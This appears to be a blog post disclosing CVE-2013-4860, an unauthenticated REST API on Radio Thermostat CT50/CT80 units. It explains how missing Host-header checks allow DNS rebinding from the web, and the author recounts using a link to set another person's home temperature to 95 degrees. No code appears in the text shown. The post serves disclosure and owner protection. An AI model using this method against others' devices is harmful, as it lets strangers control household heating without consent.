The Radio Thermostat CT50 & CT80 (perhaps other models too) support a documented REST API to control heating/cooling in your house from your LAN. This is particularly interesting because there doesn't seem to be any authentication to access this API, leaving anyone on the network to have full control of the device. Daniel Crowly of Trustwave SpiderLabs reported this vulnerability back in 2013, but the company doesn't seem to give a sh!t.
CVE: CVE-2013-4860 CWE: CWE-287 Improper Authentication
When on the same network as a Radio Thermostat unit, no authentication is required to use any part of the API. Users on the same subnet as the unit can query and change various settings such as the operation mode, wifi connection settings, and temperature thresholds.
Worse yet, there is no Host or Referer [sic] header validation, which can expose the device to the WAN via a DNS Rebinding attack (using whonow or another malicious DNS server). I've done this successfully myself by sending someone on another network a link that, once followed, will set the target temperature in their house to 95 degrees.
Here I've provided a few notes on how the API works. If you have one of these devices you can control it via CURL using the code below. Any HTTP client should work too, as I've controlled the device via JavaScript's fetch API in the browser too. This isn't an exhaustive list of API endpoints and functionality, but its a quick overview of some of the most interesting stuff. For more info, see the official API documentation PDF below.

If you do have one of these suckers, you should play with it, but then I'd recommend disabling WiFi or disconnecting it from your home network as it is trivial for attackers to control the temperature in your house so long as you are browsing the web on the same network.
There is also a Python API for communicating with the device, however I have not used it myself. I've confirmed that this API works with a CT50 I purchased on Amazon in March 2018 (version V1.94, firmware v1.04.84, and API version 113).
